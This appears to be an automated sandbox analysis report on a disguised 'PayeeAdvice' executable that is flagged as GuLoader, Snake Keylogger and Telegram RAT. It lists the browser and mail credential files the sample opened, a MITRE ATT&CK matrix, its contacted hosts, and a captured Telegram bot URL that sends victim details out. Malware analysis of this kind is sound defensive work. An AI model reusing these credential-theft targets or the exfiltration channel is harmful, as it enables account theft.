Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595342	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594902	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594661	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594526	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594078	Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.0000000038837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API call chain: ExitProcess graph end node			graph_0-4799
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API call chain: ExitProcess graph end node			graph_0-4801

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0C

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6256, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6256, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6256, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PayeeAdvice_HK54912_R0038704_37504.exe	32%	ReversingLabs	Win32.Trojan.GuLoader
PayeeAdvice_HK54912_R0038704_37504.exe	100%	Avira	HEUR/AGEN.1331786

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://fa3hwa.dm.files.1drv.com/	0%	Avira URL Cloud	safe
http://mail.foodex.com.pk	0%	Avira URL Cloud	safe
https://fa3hwa.dm.files.1drv.com/y4mEprthCF5mq6ohjyODH5IqEX9-zxOXMFMn1SBjkig9TMJ0iW6hgdn3JyiMZPOzrO4	0%	Avira URL Cloud	safe
https://fa3hwa.dm.files.1drv.com/WE	0%	Avira URL Cloud	safe
https://fa3hwa.dm.files.1drv.com/y4m_-tS-_uEp2WLW1w2OoZgzsGzku4HExGuSK8wL1Z32RLgaY3iv2hMYfC9YHYGwFGE	0%	Avira URL Cloud	safe
https://fa3hwa.dm.files.1drv.com/ve	0%	Avira URL Cloud	safe
https://api.oned	0%	Avira URL Cloud	safe
http://foodex.com.pk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
foodex.com.pk	37.27.123.72	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
mail.foodex.com.pk	unknown	unknown	true	unknown
api.onedrive.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high
fa3hwa.dm.files.1drv.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/173.254.250.69	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20and%20Time:%2017/11/2024%20/%2001:14:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20473627%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003767B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20a	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa3hwa.dm.files.1drv.com/WE	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.foodex.com.pk	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037605000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037628000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.onedrive.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fa3hwa.dm.files.1drv.com/y4m_-tS-_uEp2WLW1w2OoZgzsGzku4HExGuSK8wL1Z32RLgaY3iv2hMYfC9YHYGwFGE	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/lB	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037676000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa3hwa.dm.files.1drv.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783144437.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	PayeeAdvice_HK54912_R0038704_37504.exe	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003764A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://foodex.com.pk	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037628000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	false		high
